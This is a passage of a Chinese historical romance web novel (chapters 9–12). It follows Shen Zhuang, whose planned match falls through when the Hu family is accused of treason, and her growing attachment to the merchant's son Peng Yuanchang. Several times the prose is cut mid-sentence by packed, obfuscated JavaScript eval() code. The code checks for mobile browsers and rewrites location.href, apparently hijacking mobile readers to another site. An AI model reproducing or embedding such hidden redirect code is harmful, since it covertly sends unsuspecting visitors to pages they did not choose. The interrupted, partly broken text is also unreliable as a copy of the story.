沈妆纳罕，每日这个时辰祖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388141|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母都要在佛堂打坐养神，数十年来不曾变过。 她忙开门去迎，祖母已走到廊前，挥手示意她不必出来，又吩咐贴身侍女留在门口等候，自拄着紫檀柺杖进了屋。 “祖母怎地来了？”沈妆扶祖母在梨花椅坐下，猜不出何事能令素来镇定的祖母这般紧张。 祖母微叹一声，眉心的川字褶皱越发深了：“方才皇后送来急信，帝都恐是去不成了。” 沈妆心里咯噔一下，她日夜盼着去帝都见胡举人，行囊都收拾齐全了，怎的忽就去不成了？她急问道：“这是为何？莫非胡家反悔了？”难不成那胡举人心高气傲，看不上她？ 祖母摇了头，安国公府何等地位荣耀，他家般般又是知书识理的美人儿，满帝都哪有人家会拒绝这样的亲事。 可偏偏…… 祖母垂眸又叹了一声，继而却舒开了眉心，似是松了口气。言简意赅地把皇后信上说的事儿告诉沈妆：“有人检举胡家私通郁国，如今胡氏举家入狱待审。莫说结亲，性命都未必能保全。” 沈妆诧然，眼睛瞪得比枣还大：“胡家竟如此大逆不道！” “还待查证，真假尚不可定论。”通敌是累及三代的重罪，必定是要仔细查证的。但即便最后查出是蒙冤受屈的，身上沾过这么个嫌疑，将来定是难受重用的。 她明白祖母为何松了口气，庆幸此事发生在他们去帝都之前。若是沈家与胡家定了姻亲，瓜田李下，必定会连累沈家的声名。 边将在外，最怕的就是被君上猜疑生了二心。 “孙女晓得了。”虽说心底有些失落，但更多的是庆幸，沈妆道，“定是祖先庇佑才揭了胡家的事情，免了沈家的一场灾祸。” 祖母点点头，亦是心有余悸。 祖母道：“只是而今皇后为胡家的事情焦头烂额，我也不好再托她为你物色夫婿人选，此事恐得搁一搁了。” 沈妆乖巧点头，宽慰道：“祖母莫要忧心，我才刚及笄，议亲本就还早。如今又有新嫂嫂进门，家里正热闹，我才舍不得外嫁。” 祖母笑笑，幸而沈戬已成了婚，至少皇帝那边不会再动让他们兄妹成婚的心思。 沈妆嘴里说着宽慰的话，自己却半点也宽不了心。阿兄是成婚了，檀京肃却还没有。 9. 心 动 朝夕更替，日月流转。沈妆很快就顾不上操心自己的婚事了。 大赫挥师平霄，又一次兵临章州城，领兵的正是檀京肃。 阿兄披甲上阵，这已是他第二次与檀京肃交锋。 祖母日日在佛堂诵经，沈妆也跟着一起给沈家军祈福。她记得，这一仗打了很久，虽说最后是沈家军赢了，却也死伤惨重。只盼如今阿兄看了她记的那本兵书，能摸清檀京肃的用兵策略，一举将敌军击溃。最好能将檀京肃斩于马下，免了她这日日的担惊受怕。 祖母转着楠木佛珠念《金刚经》，声音平静又柔和，听着令人心安。 祖母念罢佛经，沈妆忙去扶她起身。 “般般从前不是不信这些的吗？”祖母觉得稀奇，从前沈妆是最坐不住的，听一折戏都能站起来逛三回，更别说安安静静在蒲团上跪听佛经了。 “是不信的。”沈妆直言不讳，“可是听着祖母的声音，能心安些。” 祖母叹了一气，这些事情本不该是她这般年纪的小姑娘该操心的。祖母拍了拍她的手，道：“你拘在这里岂不更时时挂心着前边，出去走走吧。” 沈妆摇摇头：“这等时候，我哪里有心思去闲逛。” “不让你闲逛。”祖母道，“陪你嫂嫂回娘家去走走。咱们为战事担惊受怕惯了，你嫂嫂嫁入沈家不久，又与你阿兄燕尔新婚，如今定比你更要难受。她在这家里也没个血亲，此时此刻能回父母身边亲近，总会好受些。” 孟福月如今的处境，祖母大概是能感同身受的吧。沈妆点了点头，辞过祖母去寻孟福月。 才不过几日光景，孟福月消瘦了不少。她本不愿在此时离开沈家，但听沈妆说是祖母的意思，这才不情不愿地起了身。 “还需禀了母亲才好。”孟福月向来礼数周全，哪怕是去隔壁孙寡妇家闲坐片刻也要先请刘耘准允。 沈妆陪着她去燕翳院见刘耘。 一听孟福月说要回娘家，刘耘脸上登时露了不悦。前线随时有军报传来，她守在院里连大门都不敢出，新妇此时回娘家未免太过薄情。 沈妆知道母亲误会了，赶紧补充道：“是祖母的意思，孟家二老必定也在为阿兄担心，祖母让嫂嫂回去宽慰宽慰。” 刘耘这才恢复了面色，想着托累亲家与他们一起担惊受怕确是自家的不是，便道：“你且不忙去，我让柳管事备些礼你们捎上。也不急回来，且在家陪亲家住两日，若有要紧事我再差人去告诉你。” 孟福月红着眼点点头：“多谢母亲体谅。” 孟家宅子与沈家离得不远，徒步三两刻便能到。 前院是私塾，后头是居所。这会儿还没下学，沈妆她们特意绕道从后门进去。 孟家母亲正张罗午饭，见她们来了又多量了半碗米。孟福月挽了袖子去帮手，沈妆自知不是庖厨的料子，只帮手摆一摆碗筷。 “家里来客人了？”孟福月见她阿娘又多添了一副碗筷，问道。 孟夫人点点头：“是你元昶师兄，前几日刚从帝都回来，这会儿正跟你爹一道授课呢。” 凡是孟夫子的学生，都算是孟福月的师兄弟，她的师兄弟可有好几百人。孟福月费了些时辰才想起来，母亲说的是彭元昶师兄，父亲的得意弟子之一。 “我记着元昶师兄是今次科考的举子，可是中榜了？” 孟夫人摇头：“落了。”她抬头望了眼外头，确认没人才又继续说道：“原本是去国子监做举监生的，偏逢上他爹重病，他一接了家书就从国子监肄业归家。这一回家，他爹的病倒是好了，可国子监那边却也回不去了。” “竟这般造化弄人。”沈妆听了也颇感慨，国子监的举监生，入仕途不过是早晚的事情，错过了实属可惜。 “谁道不是呢。”孟夫人也叹气，又道，“好在元昶自个看得开的，只道父亲病愈比什么都强，功名么，下届再去应考便是了。” 沈妆颇为赞同，家人安康才是这天底下头等重要的事。 饭菜张罗停当，前头的读书声也停下了。不多时，有人打了帘子进屋来，正是她们议论了半晌的彭元昶。 彭元昶虽是个读书人，家里却是世代经商的。来往平霄与大赫之间买卖药材皮货等等，颇有些家产，自然衣着打扮也光鲜些，加上他生得高大白净，一打眼只觉是诗画里的仙人公子化成真的了。 彭元昶一进屋，抬头正与沈妆四目相对。 他眼神光彩炯炯，沈妆乍然无措，心中无端怦然，脸颊烫得厉害。 孟母眼力好，一下就看穿了沈妆的小女儿心事，心里只觉郎才女貌般配得很，笑着引介他们认识。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388142|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原来是护佑着章州城的沈家，”彭元昶躬身拱手，“学生见过沈小姐。” 沈妆红着脸，道：“彭公子太过客气了。”一时竟想不出该说些什么，只觉脑子里嗡嗡乱。 孟母热络招呼大家坐下用饭，特地将挨着的两个位置留给沈妆与彭元昶。 彭元昶的母亲与孟母是手帕交，家世底细孟母一清二楚，一顿饭的工夫差不多替彭元昶把祖上三代的事儿都说予沈妆听了。 彭元昶家在沣州城，与章州城挨着。彭家算得上是积善之家，大年大节必设粥棚，每有战祸也都不吝捐资。祖上也出过几个读书人，只是没能中举。到了彭元昶这代，族兄弟十七八人，只他最读得成书，早早就送到孟夫子这儿启蒙。 沈妆默默听着，低头只顾扒饭，菜也不大敢动手夹。 彭元昶话也不多，孟母说三句他才应一句，而且多半是自谦的话。 天将黑时，沈妆向孟家二老告辞。孟母又热心道：“眼见天黑了，夜路不太平，元昶，你帮师母送送。” 拢共才那么几步路，有什么可不太平的，任谁都看得出孟母有心牵红线。而彭元昶也没推脱，取了挂在墙上的灯笼，点上烛火。 沈妆不好推却，微低着头道谢。 她从来不是个扭捏的人，可偏在彭元昶面前总不大敢抬起头看他。他的眼睛太亮了，亮得像能照进人心里，她怕自己的心思一眼就会被看穿。 彭元昶提着灯笼，两人并肩走着。沈妆低头看着他们的影子一点一点朝前，心里莫名雀跃，只希望这条路能再长一点，让她再这么静静地多走一会儿。 “我家……”快到国公府的时候，彭元昶终于开了口，“在城东那边有间蜜饯铺子，近来上了几款新的口味，是从帝都那边学来的手艺。姑娘若有空不妨去瞧瞧，试一试味道，兴许有明昭长公主喜欢的。” 祖母平素饭后总爱用些蜜饯，父亲时常托人从帝都买回来。但是山长水远的总归不那么方便，若是章州城也能买到帝都风味的蜜饯，往后祖母想吃了随时都能买得着了。 沈妆笑着应道：“好，那我明日就去。” 彭元昶欢心难掩：“那我明日早早在铺里等候姑娘。” 沈妆羞得头垂得更低，暗暗庆幸烛火昏暗，否则让人看见她脸颊发红岂不丢人。 10. 主 动 翌日早晨天气格外冷，屋外灰蒙蒙的。往常这样的天气沈妆总要睡到近午间，今日因与彭元昶有约，沈妆早早起身，带着曹阿梨一同去挑蜜饯。 府里的柴米油盐沈妆向来是不过问的，曹阿梨奇怪她怎么忽有兴致去挑蜜饯。沈妆糊弄几句过去，没与她细说。 彭元昶不知从几时起已在铺子门口候她，清瘦的身躯在寒风里显得更单薄了。 哪有店家这般迎客的，曹阿梨一眼就看出不对劲来。听着两人你来我往的客套话，阿梨也明白了个大概，更知此趟挑蜜饯是次要的，留心观察这位彭公子的为人才最紧要。 彭元昶领她们入店，明明是个蜜饯铺子，却备了一大桌的热茶点心。 “天见冷了，怕沈姑娘路上受寒，还是先吃些热茶才好。”彭元昶将茶递上去，沈妆笑着多谢，先将茶给了曹阿梨，彭元昶赶忙又递上一盏。 曹阿梨玩笑道：“彭公子这般客气，我们今日若不买个十来二十斤的倒是不好意思走出这铺子了。” “彭某并无强卖之意，姑娘莫要误会。”彭元昶连忙解释，话是朝阿梨解释，眼睛却看着沈妆。 沈妆笑笑：“我这姐姐爱说笑，彭公子莫往心里去。”沈妆朝阿梨使了个眼色，他们读书人的脸皮和行伍出身的人可不一样。 “无妨，无妨。”彭元昶平静了面色，又解释了一番，“也是我冒昧了，自作主张将沈姑娘视作知交好友，一心只想着好好招待，却又不知道姑娘喜欢什么，就什么都备了一些。” 沈妆扫了一眼满桌的点心，比国公府年节里备的还多，十来人吃也是够的。她道：“既是知交好友，有盏热茶吃便够了，彭公子下回可莫要这般铺张。” “好，我记下了。”彭元昶一手拉着宽袖，一手将摆茯苓夹饼的琉璃碟挪到沈妆前边，“旁的倒都寻常，这一道姑娘可得尝尝，是我自己研制的口味，桂花蜂蜜馅，放了山楂和松仁，酸甜滋味配龙井清香正好。” “公子自己研制的？”沈妆有些诧异，读书人不是远庖厨的么？ 彭元昶微地一笑，星眸泛着温和的光亮，像月夜里安静的湖泊让人格外愿意亲近。他道：“不怕沈姑娘笑话，我读书读乏了便喜欢到厨房里鼓捣些吃食。揉揉面饼子、剁剁馅料，心就静下来了。” 她还是头回听说有人用这般法子提神，改日倒可试试。 沈妆用帕子掖着取了块饼，茯苓饼薄若白纸，中间夹着厚厚的蜜糖馅儿，入口酸甜又带着松子的油香。再喝一口温热的龙井，茶香冲淡舌尖的酸甜味，清清爽爽恰到好处。 “彭公子若不考科举，倒可以开个点心铺子。”沈妆笑道。 “姑娘说笑了，”彭元昶正了正身，正经说道，“烹制点心当个趣儿罢了，读圣贤书自然是要求功名，建功立业的。” 沈妆点点头，难得他浸在富贵里还能有这般抱负。 余光瞥见茶案上摆了个宝鸭薰炉，沈妆想起家里那个不知何人相赠的黄蜡石莲花鹊尾香炉，心里有一丝猜想，试探问道：“彭公子也喜欢用香吗？不知彭家产业里可有打造香炉的？” “香？我倒不大懂这个。”彭元昶也看向那宝鸭熏炉，他平素并不爱用香料，不过图好看才寻了个香炉作摆设。 “沈姑娘若是喜欢这炉子，我命人送去府上。” 沈妆连忙摇头：“不必不必，我只是随口问问。”沈妆悄然打量了他的手，细白无瑕，必定不是长于打磨工艺的，看来是她想多了。 热茶吃罢，彭元昶领她们去挑蜜饯。沈妆试了几个，确实和父亲托人从帝都带回来的一模一样。她每样各称了些，又挑了阿娘爱吃的瓜子桂圆。 临走的时候彭元昶又邀她改日去彭家酒楼尝尝新酿的秋痕白，沈妆只道好，却未说定哪日。 “这位彭公子真是个怪人，”路上，曹阿梨忍不住说起，“商贾出身却好读书，明明是读书人却又喜欢做点心。” “人皆有自己的喜好，也无什么奇怪的”。 听见沈妆出言维护，曹阿梨挪近过来低声问她：“小姐，这彭公子如此殷勤，显是对你有意。你是不是也……”曹阿梨没将话说完，等着听沈妆的答案。 沈妆默然，若是从前她定觉得婚姻之事须父母之命媒妁之言，绝不会私下与人往来。可如今全家都在为战事忧心，根本顾不上她的亲事。难得遇着彭元昶这么个人，她实在害怕错过。 沈妆忍不住将彭元昶与檀京肃作比较，一个和煦胜春，一个冰寒如冬，高下立见。 “你觉得，彭公子如何？”沈妆反问曹阿梨。 阿梨微皱眉心，心知沈妆既这么问必定是对他有意了。她慎重思量了一番方答道：“若论相貌，整个章城怕也寻不出比他强的。可他，毕竟是商户出身。”虽说国公府不大看重家世，可是商户之子娶国公千金，未免高攀太多。 “他将来是要走仕途的，彭家商铺的事情他并不大过问。”若是彭元昶将来能够高中，即便只是第三甲，她也能帮着谋个一官半职，到时便可摆脱商贾身份。如此，这便算不得什么缺点了。 曹阿梨心里总觉不妥，但碍于自己的身份不好直接劝阻，只委婉道：“要不还是与国公和夫人商量商量。” “此时怎好再让爹娘操心。”沈妆不想再让父母操心，提醒阿梨，“今天的事情莫与其他人说。” 曹阿梨点点头，如此出格的事情她又怎敢到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388143|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处宣扬坏了沈妆的名声。只是她实在想不通，彭元昶纵有些姿色，也不值沈妆这般主动。以安国公府的地位，哪样的人才寻不着呢？ 正出神时，不知何人突然挡了马车。车夫骤然勒马，车里的两人不由朝后仰身，沈妆先坐正起来，扶起曹阿梨。 “怎么了？”沈妆隔着车帘问车夫。 没等车夫答她，挡车的人已经靠近车厢，高声呼喊：“阿梨，阿梨在吗？” 曹阿梨脸色骤地发绿，竟是她阿娘寻来了。 曹阿梨的娘亲也曾在安国公府做过工，因为手脚不干净被沈家辞退了。这件事情府里上下都知晓，有时阿梨与莺时院的小丫头拌嘴，她们还拿这事儿呛她。后来沈妆知晓了罚了她们的月钱，这才渐渐没人敢提。 可即便没有人再提起，这件事情对曹阿梨而言也如白纸沾了墨，抹不掉。 曹阿梨掀开帘子一角，只露出半张脸：“娘，怎么寻到这里来了。”她扫了一眼大街，街边路人都望着她们，她便将头更低了低。 “国公府不是昨个发月钱么？”曹大娘问道，“怎么不见你往家里拿，可别是想偷偷藏了。” 曹阿梨红了脸，声音低得鸡崽子似的：“我昨个忙没去领，晚些就拿回家，娘你快回去吧。” 曹大娘这才放下心，脸色温和了些许：“可别忘了呀，我找东街李婶买了老母鸡给你阿弟炖汤，钱还没给呢。” “知道了知道了。”曹阿梨不大耐烦，放下帘子躲回车里，抱着膝盖眼眶湿润。 她娘亲心里只惦记着儿子，当初在国公府管着小库房钥匙，但凡见点什么好的都要给自己儿子拿一份，连明昭长公主送去帝都给皇后的礼物她都敢动，若非因她是沈家军的遗属，早被送官法办了。 如今她在莺时院做工，每个月的月钱一分不少全都要交给家里，明面上说是给她攒嫁妆，可她知道，那些银子她娘一分也没打算给她。 曹阿梨紧紧咬着下唇想忍住眼泪，可越想越觉委屈，眼泪终究忍不住落下来了。 沈妆递了帕子给她，抚了抚她的肩。 “无碍的。”曹阿梨吸吸鼻子，这也不是头一回了。其实她心里不喜沈妆与彭元昶亲近还有一丝私心，彭家在沣州城，离章州城太近了。她就算跟着沈妆去了彭家，也躲不开阿娘的盘剥。 “彭家在平霄各处都有产业，不少掌柜账房还未成家，虽不算大富倒也衣食无忧。你若是有意，改日我托孟家夫人帮着物色。”她与彭元昶八字还没一撇，不好替曹阿梨去说媒。嫂嫂的母亲是个热心肠，又与彭家夫人交好，托她探问正合适。 曹阿梨眼里顿时又有了光亮，她家小姐心里果然还是念着她的。 11. 吃 酒 回了国公府后，沈妆让曹阿梨先回莺时院洗把脸，免得让后院那些好事的婆子见了胡乱议论，自个拎着大包小包的瓜子蜜饯去后院。 她将东西交给负责后院杂事的范大娘，吩咐她寻些干净的罐子将祖母喜欢的那几样蜜饯装起来，她要送去熙春堂。 范大娘直呼稀奇，问道：“小姐怎忽想起买蜜饯了，夫人月前才刚买了不少。” “新开的彭家铺子，滋味与帝都的一般无二，特地买来给祖母尝尝。” “那家铺子，”范大娘惊得张大嘴，“可不便宜哩！” 她平日少去市集，并不知蜜饯该是什么价，但见范大娘讶成这样，想必彭家的货确实不便宜。既然如此…… “我阿娘若是问起，大娘只说是我只集市走贩那儿买的，可别说漏了嘴。” 范大娘点点头：“我省的。”刘耘要是知道了，沈妆少不得要挨一顿训。 范大娘装了四小罐蜜饯，拿绳子捆在一块，沈妆拎着一路叮叮当当地往熙春堂去。 清晨的乌云已散了，日光在石径上铺了一片金黄。明昭长公主刚念完经，柳嬷嬷扶着她在院里散步。 见沈妆来了，祖母招呼她到石椅上坐。 沈妆小跑几步过去，迫不及待打开了一罐李子干，邀功道：“祖母快尝尝，这味道与帝都的像不像。” 祖母笑着尝了，的确是她熟悉的味道。 “这是彭家铺子买的？” 沈妆讶异：“祖母怎知？” 祖母接过柳嬷嬷递来的帕子，一面擦着手一面说道：“早先柳嬷嬷听说彭家铺子的蜜饯是帝都风味，便已去买过了。” 原来她已晚了一步了。 祖母拍了拍她的手背：“祖母知你有心，你这个比柳嬷嬷买的甜。” 沈妆甜甜笑了。 祖孙两个又闲聊了一阵，祖母留她一道用午膳。沈妆早上在彭元昶那儿吃了不少点心，如今肚子还撑着。只得谎说早上与阿梨顺路在集市上吃了点心，用不下午膳，告辞回自己院去。 之后几日，沈妆偶与彭元昶互通书信。曹阿梨虽仍觉得彭元昶不是上选，但既然沈妆中意，她也无怨做个信鸽帮着跑腿送信。 山川草木，飞鸟游鱼，他们借笔墨交换所见所闻，彭元昶几次在信中邀她去沣州城游玩，沈妆虽也心动，但是前线战事正胶着，此时她实在不能安心出游，每回都寻借口拒绝了。 书信来往了约莫半月，曹阿梨抱回来一个锦盒，是彭元昶送的。 锦盒里装着一尊宝鸭薰炉，沈妆几乎已经忘了她曾问过他香炉的事情，一句闲话难为他记着。 这香炉是新铸的，通身铜造，做工也十分精细，但比那黄蜡石鹊尾香炉还是少了几分灵气。 “我本不想收的，可那小厮死求活求的，胳膊都快给我拽下来了，我实在是没办法。”曹阿梨知道以沈妆的性子是不愿收这么贵重的礼的。 也罢，不收也收了，好好挑份礼回人家便是。 沈妆将自己院里的物件上上下下都想了一遍：“之前祖母送过我一方荷塘澄泥砚，你帮我寻出来，改日送过去。” “那砚台小姐自己都舍不得用呢。”曹阿梨替她心疼，明昭长公主给的都是宫里送来的东西，多少尊香炉也比不得。 “我不常用那砚台，收着也是可惜了，送他也算是''宝剑赠英雄''了。”沈妆虽也不大舍得，但实在想不出别的了。 曹阿梨嘟嘟囔囔的直后悔收了人家的薰炉，抱怨了几句仍是依着她的意思将砚台寻出来了。 彭元昶收了澄泥砚后，又回信说这砚台过于贵重，要请沈妆吃酒作谢。彭家在章州城有家酒楼叫添意楼，彭元昶不惜笔墨在信里将添意楼的几道招牌菜细细描述，勾起沈妆腹里的馋虫。 添意楼离国公府不远，吃顿饭也费不了多少工夫，左右思量，沈妆终是应下了。她本想带阿梨同往，曹阿梨却不肯，道是人家彭公子一心只想见沈妆，自己去不讨那没趣。 沈妆无奈摇头，只得自己赴约。 那日，彭元昶早了半个时辰在添意楼等她。 添意楼门口挂了个歇业的牌子，今日整座楼只做这一桩生意。 彭元昶领着她上二楼雅厢，为这一日，他特意命人将整座楼洗刷一新，地上不能有半点油渍，缺角掉漆桌椅全数撤去，不能令沈妆觉出半丝缺点。 “添意楼最出名的泥炉烤鸭得烤半个时辰，这会儿正正好出炉。”彭元昶道，“沈姑娘还想吃些什么？” 烤鸭的香气已传到了二楼雅厢，沈妆暗暗咽下了馋涎。 “彭公子信里写的我都觉十分可口，你拿主意便好。只是莫要过于铺张，浪费食粮总归不好。” “沈姑娘放心，若有剩的我让小厮打包回去分了便是。难得你赏脸，岂好不尽兴。” 如此沈妆也便放心了。 不多时，珍馐佳肴摆了满桌。 彭元昶斟了两杯酒，一杯递予沈妆：“沈姑娘尝尝这秋痕白。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388144|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈妆素来好酒，儿时有回她偷偷喝了阿兄珍藏的老窖夜不归，醉了一整日没醒，吓得刘耘从此只许她在逢年过节时饮一两杯果子露。 她接过酒盏，先沾唇试了试，确定这酒不算太烈才敢大口饮下。 然而彭元昶的酒量并不算太好，原只打算与沈妆尝个鲜。没想到沈妆酒兴颇高，一连敬了他数杯，他这东道主不好扫兴，几杯秋痕白下肚，彭元昶渐渐显出醉意。 许是心中压抑着落第之事，酒入愁肠，彭元昶举杯对月慨叹：“如此明月，何时才肯照我彭家。” 沈妆不解：“彭家富甲一方，何谈明月不照？” 彭元昶连连摇头：“水中之月罢了。士农工商，彭家再富贵，在旁人眼里也只是满身铜臭的俗人。” 平霄确有重农轻商的风气，只是沈妆体会得并不真切。平日里倒看不出彭元昶如此介怀出身，沈妆不知该如何宽慰，便敬了他一杯：“彭公子才华横溢，高中指日可待，将来必定前程锦绣，再无此忧。” 若他成了安国公府的女婿，自然再此忧。彭元昶爽快饮下，本还想再回敬一杯，却实在撑不住了，扶着酒杯猝然倒在桌上。 沈妆没料到他醉得这般快，轻拍他背脊唤了几声，毫无反应。 沈妆叹气，好在这是彭家的酒楼，不必她想办法安置人家。她交代了彭家小厮几句，待他们将人扶上了马车她才安心离开。 她徒步回府，特地绕了远路，借着晚风散一散身上的酒气。 快到国公府的时候正遇见范大娘提着一篮果子回来。范大娘嘴碎，她本想躲着，却还是让她瞧见了。 “小姐刚要回府么？”范大娘远远朝她打招呼，沈妆只得笑着应她。 “哟，小姐这是喝了不少？”隔着一臂远，范大娘已闻见了她身上的酒气。 沈妆笑笑：“是多饮了些。” “怎不见阿梨跟着？这大晚上的，扔小姐一人吃酒，万一吃醉了碰上歹人可怎么好？” 沈妆笑笑不答，岔开话题：“大娘这是从庙里回来？”范大娘信佛，每逢初一十五定要去庙里拜一拜。 范大娘看看手里的篮筐，答说：“是呢，观音庙那头有庙会，可是热闹。” 沈妆赶紧又问她庙会有什么好玩的，范大娘绘声绘色地说着，一时便顾不上再问她吃酒的事儿。 彭元昶的事情沈妆原打算等大赫退了兵再寻合适的机会与爹娘说起，没想到还未等到大赫退兵，先被一场雨捅破了窗户纸。 12. 安 稳 岁序初冬，前方战士急需御寒的衣帽鞋袜，偏偏朝廷运往章州城的御寒衣物在路上遇了暴风雨，损毁近半。虽说已在四处筹措，可到底远水解不了近寒。 刘耘领着全府女眷制衣制帽，能做一份算一份，可偏今冬的寒风来得格外早，连制衣的绣娘都病倒了好几个。 正一筹莫展之际，彭家帮着搜罗来了好几车棉衣，正正解了沈家军的燃眉之急。 如此恩义，沈宜少不得要携妻登门道谢。两家人聊起来，沈宜才得知彭家的小公子与自家女儿竟早已相识。 沈宜夫妻俩一回家就把沈妆叫到跟前细问，沈妆也不好再隐瞒，便把自己如何与彭元昶相识相交一一交代了。 “你老实与阿爹说，你是不是真看上彭家那小子了。”沈宜也见了彭元昶，确实是个貌若潘安的人儿，而且谈吐儒雅，见识不俗，女儿家见了心动倒是情有可原。 他们安国公府并不是那看重门第的迂腐人家，否则明昭长公主也不会允许他娶庄户之女为妻。回来的路上他们夫妻俩就商量定了，只要般般自己喜欢，这门婚事他们也愿意点头。 见爹娘的意思并不太反对，沈妆心中暗喜，羞怯地点了点头。 沈宜与刘耘对视一眼，从前总觉得女儿还小，乍然得知她已经有了意中人，而且还到了谈婚论嫁的地步，猝然如做梦一般，心里酸一阵甜一阵的。 虽说女大当嫁，但终身大事草率不得，还是得查清彭家底细才好下定论。 “眼下战事吃紧，倒不是谈婚论嫁的好时候。”沈宜道，“你的心思阿爹阿娘知晓了，待这场仗打完了，等你阿兄回来，咱们一家子再好好商量。我们沈家嫁女，总得风风光光才好。” “女儿明白。”沈妆知道，这是父亲的缓兵之计，之后必定会派得力之人去探查彭家底细。她也是乐意父亲这样做的，若彭家如那胡家一般只是表面锦绣，她嫁去了岂不连累全家。 沈宜知晓彭元昶在孟家书塾读过几年书，既要打探他的品行，少不得要问问孟福月。沈妆走后，刘耘将孟福月唤了过来。 得知沈妆与彭元昶已如此亲近，孟福月讶得皱起了眉。 彭元昶性情温和，人情练达，对孟二老更是敬重有加，孟福月说不出他有什么不好，照实答了刘耘的话。 刘耘听得欣喜，心里暗暗认定了这个女婿。 出了燕翳院，孟福月越想越觉不妥，不知不觉走到了沈妆的莺时院。 沈妆正在院里练枪，见孟福月来了，利落收了樱枪。 “嫂嫂怎么了？”见孟福月面色不佳，沈妆走过去关切她。 孟福月拉起她的手欲言又止，院里几个丫头在晒书，说话不便，她便拉着沈妆进了屋。 “你当真与元昶师兄……”孟福月不好意思说破，想着沈妆应当明白她的意思。 都是一家人，沈妆不打算瞒她，点头道：“阿爹阿娘的意思是，待战事平息了再议。” “可是……”孟福月皱眉咬着下唇，手里帕子揉得快碎了。她想了又想，终究还是把话往明白了说：“高堂做主，本不该我多嘴。可我真心是把你当作自己的亲妹妹，有些话不能不说。彭元昶虽是我师兄，我却也抱三分疑心。般般你细想想，他科举落第不去用功读书，父亲病愈也不去床前尽孝，却整日往我家书塾跑，其中用心如何不让人怀疑。” 孟福月说的这些话沈妆早已想过了，她能这般直言不讳可见是真心相待，沈妆心有暖意，也愿同她坦诚：“嫂嫂的话我明白的，只是我以为，婚姻二字不尽只有两情相悦，权衡计较也是免不了的。他图我身后有国公府，我也图他肯用心哄我，各取所需，也算得公平。” 孟福月被她这番言论惊得哑口无言，这丫头小小年纪怎会对婚姻之事这般灰心。不过这倒比她原先想的要好些，她原以为沈妆是被彭元昶的相貌迷了心窍，没想到她倒是清醒得吓人。 “你年纪尚小，又有祖母和母亲帮着寻觅物色，未必就遇不上真心实意的，何必这么早就要定下他。”孟福月仍想再劝一劝她。 她哪里还有多少时间，一日不定下亲事，她那噩梦就断不了。 “彭公子也不全是虚情假意，这些日子他待我很好。何况我有阿爹和阿兄撑腰，将来他必定不敢欺负我，日子总不会差的。” 她这话说得倒也不错，国公贵女，纵然彭元昶将来中的是状元榜眼了那也是高攀。彭家全族都得把她当菩萨供着，谁敢给她半点委屈受。可孟福月总觉得两心相印的恩爱才是真，却又不知该如何劝她，只能低头叹气。 两人又说了会儿闲话，孟福月自回了屋。左想右想仍旧放心不下，提笔修书将事情告诉夫君沈戬，让他得空务必回家劝劝妹妹，免得将来遇上真正的良人追悔莫及。 沈戬将这个妹妹视如珍宝，一听她找了个居心不良的商人，当夜就策马回了府，直奔莺时院。 弯月掩映，沈妆刚吹灯躺下，生生被沈戬从被窝里揪了出来。 “你想气死阿兄不成！”沈戬抓了件长袄丢给她，自己倒了杯凉水顺气，“唯利是图的商人，怎配当你的夫婿！”在他心里，他的妹妹是国公府堂堂正正的千金，是世上顶顶好的姑娘。 沈妆裹了袄子，点了盏油灯照亮兄长那黑炭似的脸。 “彭公子也没那么差，你身上这棉衣还是他们彭家帮着张罗来的呢。” “那又如何，阿爹拿着两倍的银子去谢，人家可照单全收了，咱们沈家并不欠他们的。”沈家军的军饷本就吃紧，支出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388145|200298||http|test|mini|href|location''.split(''|''),0,{})); () { 